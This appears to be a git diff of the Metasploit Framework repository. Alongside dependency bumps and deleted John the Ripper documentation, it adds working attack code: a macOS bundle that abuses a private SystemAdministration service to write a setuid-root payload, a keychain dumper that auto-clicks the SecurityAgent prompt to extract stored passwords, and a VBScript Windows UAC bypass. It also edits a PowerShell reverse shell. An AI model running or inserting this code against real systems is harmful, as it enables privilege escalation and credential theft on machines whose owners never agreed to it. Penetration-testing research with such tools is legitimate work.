@ -97,58 +96,63 @@ GEM
|
|||
factory_girl (~> 4.5.0)
|
||||
railties (>= 3.0.0)
|
||||
ffi (1.9.8)
|
||||
fivemat (1.2.1)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.2)
|
||||
gherkin (2.12.2)
|
||||
multi_json (~> 1.3)
|
||||
hike (1.2.3)
|
||||
i18n (0.7.0)
|
||||
jsobfu (0.2.1)
|
||||
jsobfu (0.4.1)
|
||||
rkelly-remix (= 0.0.6)
|
||||
json (1.8.3)
|
||||
mail (2.6.3)
|
||||
mime-types (>= 1.16, < 3)
|
||||
metasploit-concern (1.0.0)
|
||||
metasm (1.0.2)
|
||||
metasploit-concern (1.1.0)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
metasploit-credential (1.0.0)
|
||||
metasploit-concern (~> 1.0)
|
||||
metasploit-model (~> 1.0)
|
||||
metasploit_data_models (~> 1.0)
|
||||
metasploit-credential (1.1.0)
|
||||
metasploit-concern (~> 1.1)
|
||||
metasploit-model (~> 1.1)
|
||||
metasploit_data_models (~> 1.3)
|
||||
pg
|
||||
railties
|
||||
rubyntlm
|
||||
rubyzip (~> 1.1)
|
||||
metasploit-model (1.0.0)
|
||||
metasploit-model (1.1.0)
|
||||
activemodel (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
metasploit-payloads (1.0.7)
|
||||
metasploit_data_models (1.2.5)
|
||||
metasploit-payloads (1.1.3)
|
||||
metasploit_data_models (1.3.0)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
arel-helpers
|
||||
metasploit-concern (~> 1.0)
|
||||
metasploit-model (~> 1.0)
|
||||
metasploit-concern (~> 1.1)
|
||||
metasploit-model (~> 1.1)
|
||||
pg
|
||||
postgres_ext
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
recog (~> 2.0)
|
||||
method_source (0.8.2)
|
||||
mime-types (2.4.3)
|
||||
mini_portile (0.6.2)
|
||||
mime-types (2.6.1)
|
||||
mini_portile2 (2.0.0)
|
||||
minitest (4.7.5)
|
||||
msgpack (0.6.2)
|
||||
multi_json (1.11.1)
|
||||
msgpack (0.7.4)
|
||||
multi_json (1.11.2)
|
||||
multi_test (0.1.2)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.6.6.2)
|
||||
mini_portile (~> 0.6.0)
|
||||
packetfu (1.1.9)
|
||||
pcaprub (0.12.0)
|
||||
pg (0.18.2)
|
||||
nokogiri (1.6.7.2)
|
||||
mini_portile2 (~> 2.0.0.rc2)
|
||||
openssl-ccm (1.2.1)
|
||||
packetfu (1.1.11)
|
||||
network_interface (~> 0.0)
|
||||
pcaprub (~> 0.12)
|
||||
pcaprub (0.12.1)
|
||||
pg (0.18.4)
|
||||
pg_array_parser (0.0.9)
|
||||
postgres_ext (2.4.1)
|
||||
postgres_ext (3.0.0)
|
||||
activerecord (>= 4.0.0)
|
||||
arel (>= 4.0.1)
|
||||
pg_array_parser (~> 0.0.9)
|
||||
|
|
@ -174,32 +178,30 @@ GEM
|
|||
thor (>= 0.18.1, < 2.0)
|
||||
rake (10.4.2)
|
||||
rb-readline-r7 (0.5.2.0)
|
||||
recog (2.0.6)
|
||||
recog (2.0.14)
|
||||
nokogiri
|
||||
redcarpet (3.2.3)
|
||||
redcarpet (3.3.4)
|
||||
rkelly-remix (0.0.6)
|
||||
robots (0.10.1)
|
||||
rspec (2.99.0)
|
||||
rspec-core (~> 2.99.0)
|
||||
rspec-expectations (~> 2.99.0)
|
||||
rspec-mocks (~> 2.99.0)
|
||||
rspec-collection_matchers (1.1.2)
|
||||
rspec-expectations (>= 2.99.0.beta1)
|
||||
rspec-core (2.99.2)
|
||||
rspec-expectations (2.99.2)
|
||||
diff-lcs (>= 1.1.3, < 2.0)
|
||||
rspec-mocks (2.99.3)
|
||||
rspec-rails (2.99.0)
|
||||
actionpack (>= 3.0)
|
||||
activemodel (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
rspec-collection_matchers
|
||||
rspec-core (~> 2.99.0)
|
||||
rspec-expectations (~> 2.99.0)
|
||||
rspec-mocks (~> 2.99.0)
|
||||
rubyntlm (0.5.1)
|
||||
rubyzip (1.1.7)
|
||||
rspec-core (3.3.2)
|
||||
rspec-support (~> 3.3.0)
|
||||
rspec-expectations (3.3.1)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.3.0)
|
||||
rspec-mocks (3.3.2)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.3.0)
|
||||
rspec-rails (3.3.3)
|
||||
actionpack (>= 3.0, < 4.3)
|
||||
activesupport (>= 3.0, < 4.3)
|
||||
railties (>= 3.0, < 4.3)
|
||||
rspec-core (~> 3.3.0)
|
||||
rspec-expectations (~> 3.3.0)
|
||||
rspec-mocks (~> 3.3.0)
|
||||
rspec-support (~> 3.3.0)
|
||||
rspec-support (3.3.0)
|
||||
rubyntlm (0.6.0)
|
||||
rubyzip (1.2.0)
|
||||
shoulda-matchers (2.8.0)
|
||||
activesupport (>= 3.0.0)
|
||||
simplecov (0.9.2)
|
||||
|
|
@ -217,12 +219,12 @@ GEM
|
|||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
sprockets (>= 2.8, < 4.0)
|
||||
sqlite3 (1.3.10)
|
||||
sqlite3 (1.3.11)
|
||||
thor (0.19.1)
|
||||
thread_safe (0.3.5)
|
||||
tilt (1.4.1)
|
||||
timecop (0.7.3)
|
||||
tzinfo (0.3.44)
|
||||
tzinfo (0.3.45)
|
||||
xpath (2.0.0)
|
||||
nokogiri (~> 1.3)
|
||||
yard (0.8.7.6)
|
||||
|
|
@ -234,16 +236,16 @@ DEPENDENCIES
|
|||
aruba
|
||||
cucumber-rails
|
||||
factory_girl_rails (~> 4.5.0)
|
||||
fivemat (= 1.2.1)
|
||||
fivemat (~> 1.3.1)
|
||||
metasploit-framework!
|
||||
metasploit-framework-db!
|
||||
metasploit-framework-pcap!
|
||||
pry
|
||||
rake (>= 10.0.0)
|
||||
redcarpet
|
||||
rspec (>= 2.12, < 3.0.0)
|
||||
rspec-rails (>= 2.12, < 3.0.0)
|
||||
rspec-rails (~> 3.3)
|
||||
shoulda-matchers
|
||||
simplecov
|
||||
timecop
|
||||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.11.2
|
||||
|
|
|
|||
2
LICENSE
2
LICENSE
|
|
@ -2,7 +2,7 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
|
|||
Source: http://www.metasploit.com/
|
||||
|
||||
Files: *
|
||||
Copyright: 2006-2015, Rapid7, Inc.
|
||||
Copyright: 2006-2016, Rapid7, Inc.
|
||||
License: BSD-3-clause
|
||||
|
||||
# The Metasploit Framework is provided under the 3-clause BSD license provided
|
||||
|
|
|
|||
|
|
@ -1,4 +1,4 @@
|
|||
Metasploit [](https://travis-ci.org/rapid7/metasploit-framework) [](https://codeclimate.com/github/rapid7/metasploit-framework)
|
||||
Metasploit [](https://travis-ci.org/rapid7/metasploit-framework) [](https://codeclimate.com/github/rapid7/metasploit-framework)
|
||||
==
|
||||
The Metasploit Framework is released under a BSD-style license. See
|
||||
COPYING for more details.
|
||||
|
|
|
|||
|
|
@ -6,5 +6,6 @@ ignored_tags = "--tags ~@boot --tags ~@targets"
|
|||
%>
|
||||
default: <%= std_opts %> <%= ignored_tags %> features
|
||||
boot: <%= std_opts %> --tags @boot features
|
||||
exploit: <%= std_opts %> --tags @targets features
|
||||
wip: --tags @wip:3 --wip features
|
||||
rerun: <%= rerun_opts %> --format rerun --out rerun.txt --strict --tags ~@wip
|
||||
rerun: <%= rerun_opts %> --format rerun --out rerun.txt --strict --tags ~@wip
|
||||
|
|
@ -1,9 +1,9 @@
|
|||
# Please only use postgresql bound to a TCP port.
|
||||
# Only postgresql is supportable for metasploit-framework
|
||||
# these days. (No SQLite, no MySQL).
|
||||
#
|
||||
# To set up a metasploit database, follow the directions hosted at:
|
||||
# http://r-7.co/MSF-DEV#set-up-postgresql
|
||||
#
|
||||
# Kali Linux and the Omnibus installers both include an easy wrapper script for
|
||||
# managing your database, which may be more convenient than rolling your own.
|
||||
|
||||
development: &pgsql
|
||||
adapter: postgresql
|
||||
database: metasploit_framework_development
|
||||
|
|
@ -11,7 +11,7 @@ development: &pgsql
|
|||
password: __________________________________
|
||||
host: localhost
|
||||
port: 5432
|
||||
pool: 5
|
||||
pool: 200
|
||||
timeout: 5
|
||||
|
||||
# You will often want to seperate your databases between dev
|
||||
|
|
|
|||
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -0,0 +1,33 @@
|
|||
// gcc -bundle exploit.m -arch x86_64 -o exploit.daplug -framework Cocoa
|
||||
|
||||
#include <dlfcn.h>
|
||||
#include <objc/objc.h>
|
||||
#include <objc/runtime.h>
|
||||
#include <objc/message.h>
|
||||
#include <Foundation/Foundation.h>
|
||||
|
||||
#define PRIV_FWK_BASE "/System/Library/PrivateFrameworks"
|
||||
#define FWK_BASE "/System/Library/Frameworks"
|
||||
|
||||
void __attribute__ ((constructor)) test(void)
|
||||
{
|
||||
void* p = dlopen(PRIV_FWK_BASE "/SystemAdministration.framework/SystemAdministration", RTLD_NOW);
|
||||
|
||||
if (p != NULL)
|
||||
{
|
||||
id sharedClient = objc_msgSend(objc_lookUpClass("WriteConfigClient"), @selector(sharedClient));
|
||||
objc_msgSend(sharedClient, @selector(authenticateUsingAuthorizationSync:), nil);
|
||||
id tool = objc_msgSend(sharedClient, @selector(remoteProxy));
|
||||
|
||||
NSString* inpath = [[[NSProcessInfo processInfo]environment]objectForKey:@"PAYLOAD_IN"];
|
||||
NSString* outpath = [[[NSProcessInfo processInfo]environment]objectForKey:@"PAYLOAD_OUT"];
|
||||
NSData* data = [NSData dataWithContentsOfFile:inpath];
|
||||
|
||||
objc_msgSend(tool, @selector(createFileWithContents:path:attributes:),
|
||||
data,
|
||||
outpath,
|
||||
@{ NSFilePosixPermissions : @04777 });
|
||||
}
|
||||
|
||||
exit(1);
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -0,0 +1 @@
|
|||
<===[JENKINS REMOTING CAPACITY]===>
|
||||
Binary file not shown.
|
|
@ -0,0 +1,2 @@
|
|||
all:
|
||||
gcc dump.m -framework CoreFoundation -framework Security -framework Cocoa -o dump
|
||||
Binary file not shown.
|
|
@ -0,0 +1,161 @@
|
|||
// gcc dump.m -framework CoreFoundation -framework Security -framework Cocoa -o dump
|
||||
|
||||
#import <Cocoa/Cocoa.h>
|
||||
#import <CoreFoundation/CoreFoundation.h>
|
||||
#import <Security/Security.h>
|
||||
#include <ApplicationServices/ApplicationServices.h>
|
||||
#include <unistd.h>
|
||||
#include <pthread.h>
|
||||
|
||||
#define TIMEOUT 3
|
||||
|
||||
void click(float x, float y) {
|
||||
|
||||
CGEventRef move1 = CGEventCreateMouseEvent(
|
||||
NULL, kCGEventMouseMoved,
|
||||
CGPointMake(x, y),
|
||||
kCGMouseButtonLeft // ignored
|
||||
);
|
||||
CGEventRef click1_down = CGEventCreateMouseEvent(
|
||||
NULL, kCGEventLeftMouseDown,
|
||||
CGPointMake(x, y),
|
||||
kCGMouseButtonLeft
|
||||
);
|
||||
CGEventRef click1_up = CGEventCreateMouseEvent(
|
||||
NULL, kCGEventLeftMouseUp,
|
||||
CGPointMake(x, y),
|
||||
kCGMouseButtonLeft
|
||||
);
|
||||
|
||||
CGEventPost(kCGHIDEventTap, move1);
|
||||
CGEventPost(kCGHIDEventTap, click1_down);
|
||||
CGEventPost(kCGHIDEventTap, click1_up);
|
||||
|
||||
// Release the events
|
||||
CFRelease(move1);
|
||||
CFRelease(click1_up);
|
||||
CFRelease(click1_down);
|
||||
}
|
||||
|
||||
void parse_windows(int offx, int offy) {
|
||||
CFArrayRef windowList = CGWindowListCopyWindowInfo(kCGWindowListOptionOnScreenOnly, kCGNullWindowID);
|
||||
for (NSMutableDictionary* entry in (NSArray*)windowList)
|
||||
{
|
||||
CGRect rect;
|
||||
NSString* ownerName = [entry objectForKey:(id)kCGWindowOwnerName];
|
||||
if ([ownerName isEqualToString: @"SecurityAgent"]) {
|
||||
CFDictionaryRef bounds = (CFDictionaryRef)[entry objectForKey:(id)kCGWindowBounds];
|
||||
CGRectMakeWithDictionaryRepresentation(bounds, &rect);
|
||||
float spotx = rect.origin.x + 385 + offx;
|
||||
float spoty = rect.origin.y + rect.size.height - 25 + offy;
|
||||
click(spotx, spoty);
|
||||
}
|
||||
|
||||
}
|
||||
CFRelease(windowList);
|
||||
}
|
||||
|
||||
void poll_ui() {
|
||||
while(1) {
|
||||
sleep(0.0001);
|
||||
parse_windows(0, 0);
|
||||
}
|
||||
}
|
||||
|
||||
id tQuery = NULL;
|
||||
CFTypeRef result = NULL;
|
||||
|
||||
void prompt() {
|
||||
SecItemCopyMatching((__bridge CFDictionaryRef)tQuery, &result);
|
||||
}
|
||||
|
||||
void dump(NSArray *refs) {
|
||||
NSData *jsonData = [NSJSONSerialization dataWithJSONObject: refs
|
||||
options:NSJSONWritingPrettyPrinted // Pass 0 if you don't care about the readability of the generated string
|
||||
error: NULL];
|
||||
[jsonData writeToFile: @"/dev/stdout" atomically: NO];
|
||||
}
|
||||
|
||||
int main() {
|
||||
pthread_t thread_prompt, thread_click;
|
||||
NSArray *secItemClasses = [NSArray arrayWithObjects:
|
||||
(__bridge id)kSecClassGenericPassword,
|
||||
(__bridge id)kSecClassInternetPassword,
|
||||
nil];
|
||||
NSMutableDictionary *query = [NSMutableDictionary dictionaryWithObjectsAndKeys:
|
||||
(__bridge id)kSecMatchLimitAll, (__bridge id)kSecMatchLimit,
|
||||
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnAttributes,
|
||||
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnRef,
|
||||
nil];
|
||||
NSMutableArray *refs = [NSMutableArray new];
|
||||
for (id secItemClass in secItemClasses) {
|
||||
[query setObject:secItemClass forKey:(__bridge id)kSecClass];
|
||||
|
||||
CFTypeRef result1 = NULL;
|
||||
SecItemCopyMatching((__bridge CFDictionaryRef)query, &result1);
|
||||
NSArray *data = (__bridge NSArray*)result1;
|
||||
if (data) {
|
||||
for (NSDictionary *item in data) {
|
||||
if (!item) continue;
|
||||
NSMutableDictionary *newItem = [NSMutableDictionary new];
|
||||
for (NSString* key in item) {
|
||||
[newItem setObject:[[item objectForKey: key] description] forKey: key];
|
||||
}
|
||||
[newItem setObject:[item objectForKey: @"v_Ref"] forKey: @"v_Ref"];
|
||||
[refs addObject: newItem];
|
||||
}
|
||||
if (result1 != NULL) CFRelease(result1);
|
||||
}
|
||||
}
|
||||
|
||||
NSMutableArray *all = [NSMutableArray new];
|
||||
for (id ref in refs) {
|
||||
tQuery = [NSMutableDictionary dictionaryWithObjectsAndKeys:
|
||||
(__bridge id)[ref objectForKey: @"v_Ref"], (__bridge id)kSecValueRef,
|
||||
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnData,
|
||||
nil];
|
||||
for (id secItemClass in secItemClasses) {
|
||||
[tQuery setObject:secItemClass forKey:(__bridge id)kSecClass];
|
||||
|
||||
result = NULL;
|
||||
pthread_create(&thread_click, NULL, (void*)poll_ui, NULL);
|
||||
pthread_create(&thread_prompt, NULL, (void*)prompt, NULL);
|
||||
|
||||
time_t end = time(NULL) + TIMEOUT;
|
||||
int found = 0;
|
||||
while(time(NULL) < end) {
|
||||
if (result != NULL) {
|
||||
found = 1;
|
||||
break;
|
||||
}
|
||||
sleep(0.1);
|
||||
}
|
||||
|
||||
pthread_cancel(thread_click);
|
||||
pthread_cancel(thread_prompt);
|
||||
|
||||
[ref removeObjectForKey: @"v_Ref"];
|
||||
|
||||
// we didnt find anything in TIMEOUT seconds. this can happen if the keychain
|
||||
// is locked
|
||||
if (!found) {
|
||||
parse_windows(-80, 0); // click cancel
|
||||
dump(all); // get out now
|
||||
return 0;
|
||||
}
|
||||
|
||||
NSString *pass = @"(null)";
|
||||
if (result && [result bytes]) {
|
||||
pass = [NSString stringWithUTF8String:[result bytes]];
|
||||
if (!pass) pass = @"(null)";
|
||||
} else {
|
||||
pass = @"(null)";
|
||||
}
|
||||
[ref setObject:pass forKey: @"Private"];
|
||||
[all addObject: ref];
|
||||
}
|
||||
}
|
||||
|
||||
dump(all);
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -36,7 +36,7 @@ function powerfun
|
|||
$stream = $sslStream
|
||||
}
|
||||
|
||||
[byte[]]$bytes = 0..255|%{0}
|
||||
[byte[]]$bytes = 0..20000|%{0}
|
||||
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
|
||||
$stream.Write($sendbytes,0,$sendbytes.Length)
|
||||
|
||||
|
|
|
|||
|
|
@ -0,0 +1,62 @@
|
|||
Option Explicit
|
||||
|
||||
Dim oWs: Set oWs = CreateObject("WScript.Shell")
|
||||
Dim oFso: Set oFso = CreateObject("Scripting.FileSystemObject")
|
||||
Dim HOST_MANIFEST: HOST_MANIFEST = _
|
||||
"<?xml version=""1.0"" encoding=""UTF-8"" standalone=""yes""?>" & vbCrLf & _
|
||||
"<assembly xmlns=""urn:schemas-microsoft-com:asm.v1""" & vbCrLf & _
|
||||
" xmlns:asmv3=""urn:schemas-microsoft-com:asm.v3""" & vbCrLf & _
|
||||
" manifestVersion=""1.0"">" & vbCrLf & _
|
||||
" <asmv3:trustInfo>" & vbCrLf & _
|
||||
" <security>" & vbCrLf & _
|
||||
" <requestedPrivileges>" & vbCrLf & _
|
||||
" <requestedExecutionLevel level=""RequireAdministrator"" uiAccess=""false""/>" & vbCrLf & _
|
||||
" </requestedPrivileges>" & vbCrLf & _
|
||||
" </security>" & vbCrLf & _
|
||||
" </asmv3:trustInfo>" & vbCrLf & _
|
||||
" <asmv3:application>" & vbCrLf & _
|
||||
" <asmv3:windowsSettings xmlns=""http://schemas.microsoft.com/SMI/2005/WindowsSettings"">" & vbCrLf & _
|
||||
" <autoElevate>true</autoElevate>" & vbCrLf & _
|
||||
" <dpiAware>true</dpiAware>" & vbCrLf & _
|
||||
" </asmv3:windowsSettings>" & vbCrLf & _
|
||||
" </asmv3:application>" & vbCrLf & _
|
||||
"</assembly>"
|
||||
|
||||
|
||||
Sub Copy(ByVal sSource, ByVal sTarget)
|
||||
Dim sTempFile: sTempFile = GetTempFilename()
|
||||
oWs.Run "makecab """ & sSource & """ """ & sTempFile & """", 0, True
|
||||
oWs.Run "wusa """ & sTempFile & """ /extract:" & sTarget, 0, True
|
||||
oFso.DeleteFile sTempFile
|
||||
End Sub
|
||||
|
||||
Sub Elevate()
|
||||
Const WINDIR = "%windir%"
|
||||
Dim sPath: sPath = Left(WScript.ScriptFullName, _
|
||||
InStrRev(WScript.ScriptFullName, "\"))
|
||||
Dim sHost: sHost = Right(WScript.FullName, 11)
|
||||
Dim sManifest: sManifest = sPath & sHost & ".manifest"
|
||||
Dim oStream: Set oStream = oFso.CreateTextFile(sManifest)
|
||||
oStream.Write HOST_MANIFEST
|
||||
oStream.Close
|
||||
Copy sManifest, WINDIR
|
||||
Copy WScript.FullName, WINDIR
|
||||
oWs.Run WINDIR & "\" & sHost & " """ & WScript.ScriptFullName & """ /RESTART"
|
||||
oFso.DeleteFile sManifest
|
||||
End Sub
|
||||
|
||||
Function GetTempFilename()
|
||||
Const vbTemporaryFolder = 2
|
||||
Dim sTempFolder: sTempFolder = oFso.GetSpecialFolder(vbTemporaryFolder)
|
||||
GetTempFilename = oFso.BuildPath(sTempFolder, oFso.GetTempName())
|
||||
End Function
|
||||
|
||||
Sub RunAsAdmin()
|
||||
oWs.Run "COMMAND"
|
||||
End Sub
|
||||
|
||||
If WScript.Arguments.Named.Exists("RESTART") Then
|
||||
RunAsAdmin
|
||||
Else
|
||||
Elevate
|
||||
End If
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
137
data/john/README
137
data/john/README
|
|
@ -1,137 +0,0 @@
|
|||
John the Ripper password cracker.
|
||||
|
||||
John the Ripper is a fast password cracker, currently available for
|
||||
many flavors of Unix (11 are officially supported, not counting
|
||||
different architectures), DOS, Win32, BeOS, and OpenVMS (the latter
|
||||
requires a contributed patch). Its primary purpose is to detect weak
|
||||
Unix passwords. Besides several crypt(3) password hash types most
|
||||
commonly found on various Unix flavors, supported out of the box are
|
||||
Kerberos/AFS and Windows LM hashes, plus many more with contributed
|
||||
patches.
|
||||
|
||||
|
||||
How to install.
|
||||
|
||||
See INSTALL for information on installing John on your system.
|
||||
|
||||
|
||||
How to use.
|
||||
|
||||
To run John, you need to supply it with some password files and
|
||||
optionally specify a cracking mode, like this, using the default order
|
||||
of modes and assuming that "passwd" is a copy of your password file:
|
||||
|
||||
john passwd
|
||||
|
||||
or, to restrict it to the wordlist mode only, but permitting the use
|
||||
of word mangling rules:
|
||||
|
||||
john --wordlist=password.lst --rules passwd
|
||||
|
||||
Cracked passwords will be printed to the terminal and saved in the
|
||||
file called $JOHN/john.pot (in the documentation and in the
|
||||
configuration file for John, "$JOHN" refers to John's "home
|
||||
directory"; which directory it really is depends on how you installed
|
||||
John). The $JOHN/john.pot file is also used to not load password
|
||||
hashes that you already cracked when you run John the next time.
|
||||
|
||||
To retrieve the cracked passwords, run:
|
||||
|
||||
john --show passwd
|
||||
|
||||
While cracking, you can press any key for status, or Ctrl-C to abort
|
||||
the session saving its state to a file ($JOHN/john.rec by default).
|
||||
If you press Ctrl-C for a second time before John had a chance to
|
||||
handle your first Ctrl-C, John will abort immediately without saving.
|
||||
By default, the state is also saved every 10 minutes to permit for
|
||||
recovery in case of a crash.
|
||||
|
||||
To continue an interrupted session, run:
|
||||
|
||||
john --restore
|
||||
|
||||
These are just the most essential things you can do with John. For
|
||||
a complete list of command line options and for more complicated usage
|
||||
examples you should refer to OPTIONS and EXAMPLES, respectively.
|
||||
|
||||
Please note that "binary" (pre-compiled) distributions of John may
|
||||
include alternate executables instead of just "john". You may need to
|
||||
choose the executable which fits your system best, e.g. "john-mmx" to
|
||||
take advantage of MMX acceleration.
|
||||
|
||||
|
||||
Features and performance.
|
||||
|
||||
John the Ripper is designed to be both feature-rich and fast. It
|
||||
combines several cracking modes in one program and is fully
|
||||
configurable for your particular needs (you can even define a custom
|
||||
cracking mode using the built-in compiler supporting a subset of C).
|
||||
Also, John is available for several different platforms which enables
|
||||
you to use the same cracker everywhere (you can even continue a
|
||||
cracking session which you started on another platform).
|
||||
|
||||
Out of the box, John supports (and autodetects) the following Unix
|
||||
crypt(3) hash types: traditional DES-based, "bigcrypt", BSDI extended
|
||||
DES-based, FreeBSD MD5-based (also used on Linux and in Cisco IOS), and
|
||||
OpenBSD Blowfish-based (now also used on some Linux distributions and
|
||||
supported by recent versions of Solaris). Also supported out of the box
|
||||
are Kerberos/AFS and Windows LM (DES-based) hashes.
|
||||
|
||||
When running on Linux distributions with glibc 2.7+, John 1.7.6+
|
||||
additionally supports (and autodetects) SHA-crypt hashes (which are
|
||||
actually used by recent versions of Fedora and Ubuntu), with optional
|
||||
OpenMP parallelization (requires GCC 4.2+, needs to be explicitly
|
||||
enabled at compile-time by uncommenting the proper OMPFLAGS line near
|
||||
the beginning of the Makefile).
|
||||
|
||||
Similarly, when running on recent versions of Solaris, John 1.7.6+
|
||||
supports and autodetects SHA-crypt and SunMD5 hashes, also with
|
||||
optional OpenMP parallelization (requires GCC 4.2+ or recent Sun Studio,
|
||||
needs to be explicitly enabled at compile-time by uncommenting the
|
||||
proper OMPFLAGS line near the beginning of the Makefile and at runtime
|
||||
by setting the OMP_NUM_THREADS environment variable to the desired
|
||||
number of threads).
|
||||
|
||||
John the Ripper Pro adds support for Windows NTLM (MD4-based) and Mac
|
||||
OS X 10.4+ salted SHA-1 hashes.
|
||||
|
||||
Contributed patches, combined into the "jumbo patch", add support for
|
||||
many more password hash types, including Windows NTLM (MD4-based)
|
||||
and Mac OS X 10.4+ salted SHA-1 hashes, raw MD5 and SHA-1, arbitrary
|
||||
MD5-based "web application" password hash types, hashes used by SQL
|
||||
database servers (MySQL, MS SQL, Oracle) and by some LDAP servers,
|
||||
several hash types used on OpenVMS, password hashes of the Eggdrop IRC
|
||||
bot, and many others, as well as S/Key skeykeys files and Kerberos TGTs.
|
||||
|
||||
Unlike other crackers, John normally does not use a crypt(3)-style
|
||||
routine. Instead, it has its own highly optimized modules for different
|
||||
hash types and processor architectures. Some of the algorithms used,
|
||||
such as bitslice DES, couldn't have been implemented within the crypt(3)
|
||||
API; they require a more powerful interface such as the one used in
|
||||
John. Additionally, there are assembly language routines for several
|
||||
processor architectures, most importantly for x86-64 and x86 with SSE2.
|
||||
|
||||
|
||||
Documentation.
|
||||
|
||||
The rest of documentation is located in separate files, listed here in
|
||||
the recommended order of reading:
|
||||
|
||||
* INSTALL - installation instructions
|
||||
* OPTIONS - command line options and additional utilities
|
||||
* MODES - cracking modes: what they are
|
||||
* CONFIG (*) - how to customize
|
||||
* RULES (*) - wordlist rules syntax
|
||||
* EXTERNAL (*) - defining an external mode
|
||||
* EXAMPLES - usage examples - strongly recommended
|
||||
* FAQ - guess
|
||||
* CHANGES (*) - history of changes
|
||||
* CONTACT (*) - how to contact the author or otherwise obtain support
|
||||
* CREDITS (*) - credits
|
||||
* LICENSE - copyrights and licensing terms
|
||||
|
||||
(*) most users can safely skip these.
|
||||
|
||||
Happy reading!
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/README,v 1.20 2011/04/27 18:02:49 solar Exp $
|
||||
|
|
@ -1,17 +0,0 @@
|
|||
The jumbo patch, which has been applied to this source tree of John the
|
||||
Ripper, adds a lot of code, documentation, and data contributed by the
|
||||
user community. This is not "official" John the Ripper code. It is
|
||||
very easy for new code to be added to the jumbo patch: the quality
|
||||
requirements are low. This means that you get a lot of functionality
|
||||
that is not "mature" enough or is otherwise inappropriate for the
|
||||
official JtR, which in turn also means that bugs in this code are to be
|
||||
expected, etc.
|
||||
|
||||
If you have any comments on this release or on JtR in general, please
|
||||
join the john-users mailing list and post in there.
|
||||
|
||||
Licensing info:
|
||||
http://openwall.info/wiki/john/licensing
|
||||
|
||||
How to contribute more code:
|
||||
http://openwall.info/wiki/how-to-make-patches
|
||||
|
|
@ -1,3 +0,0 @@
|
|||
This directory contains binaries and source code for John the Ripper v1.7.8 + Jumbo Patch 2
|
||||
John the Ripper is provided under the GPLv2 license. The binaries in this directory were
|
||||
built from the stock source code with no changes.
|
||||
|
|
@ -1,248 +0,0 @@
|
|||
The following changes have been made between John 1.7.7 and 1.7.8:
|
||||
|
||||
* The bitslice DES S-box expressions have been replaced with those generated
|
||||
by Roman Rusakov specifically for John the Ripper. The corresponding assembly
|
||||
code for x86 with MMX, SSE2, and for x86-64 with SSE2 has been re-generated.
|
||||
For other CPUs and for AVX/XOP, C compilers do a reasonably good job of
|
||||
generating the code from the supplied C source files (with intrinsics where
|
||||
relevant). The S-box expressions that we were using before had a 21% larger
|
||||
gate count, so theoretically this could provide a 21% speedup. In practice,
|
||||
though, a 12% to 14% speedup at DES-based crypt(3) hashes is typical.
|
||||
This effort has been sponsored by Rapid7: http://www.rapid7.com
|
||||
* Corrected support for bcrypt (OpenBSD Blowfish) hashes of passwords
|
||||
containing non-ASCII characters (that is, characters with the 8th bit set).
|
||||
Added support for such hashes produced by crypt_blowfish up to 1.0.4, which
|
||||
contained a sign extension bug (inherited from older versions of John).
|
||||
The old buggy behavior may be enabled per-hash, using the "$2x$" prefix.
|
||||
* The external mode virtual machine's performance has been improved through
|
||||
additional multi-op instructions matching common instruction sequences
|
||||
(assign-pop and some triple- and quad-push VM instructions were added).
|
||||
* A few minor bug fixes and enhancements were made.
|
||||
|
||||
The following changes have been made between John 1.7.6.1 and 1.7.7:
|
||||
|
||||
* Added Intel AVX and AMD XOP instruction sets support for bitslice DES
|
||||
(with C compiler intrinsics). New make targets: linux-x86-64-avx,
|
||||
linux-x86-64-xop, linux-x86-avx, and linux-x86-xop (these require recent
|
||||
versions of GCC and GNU binutils).
|
||||
* A "dummy" "format" is now supported (plaintext passwords encoded in
|
||||
hexadecimal and prefixed with "$dummy$") - for faster testing and tuning of
|
||||
custom wordlists, rule sets, .chr files, and external modes on already known or
|
||||
artificial passwords, as well as for testing of future and modified versions of
|
||||
John itself.
|
||||
* Apache "$apr1$" MD5-based password hashes are now supported along with the
|
||||
FreeBSD-style MD5-based crypt(3) hashes that were supported previously. Hashes
|
||||
of both of these types may be loaded for cracking simultaneously.
|
||||
* The "--salts" option threshold is now applied before removal of previously
|
||||
cracked hashes for consistent behavior with interrupted and continued sessions.
|
||||
* The "Idle = Y" setting (which is the default) is now ignored for
|
||||
OpenMP-enabled hash types when the actual number of threads is greater than 1.
|
||||
(Unfortunately, it did not work right at least with GNU libgomp on Linux.)
|
||||
* When a cracking session terminates or is interrupted, John will now warn the
|
||||
user if the cracked passwords printed to the terminal while cracking are
|
||||
potentially incomplete. It will advise the user to use the "--show" option to
|
||||
see the complete set of cracked passwords with proper post-processing.
|
||||
* When loading hashes specified on a line on their own (feature introduced in
|
||||
1.7.6), the loader will now ignore leading and trailing whitespace.
|
||||
* Unless a hash type is forced from the command line, the loader will now print
|
||||
warnings about additional hash types seen in the input files (beyond the hash
|
||||
type autodetected initially).
|
||||
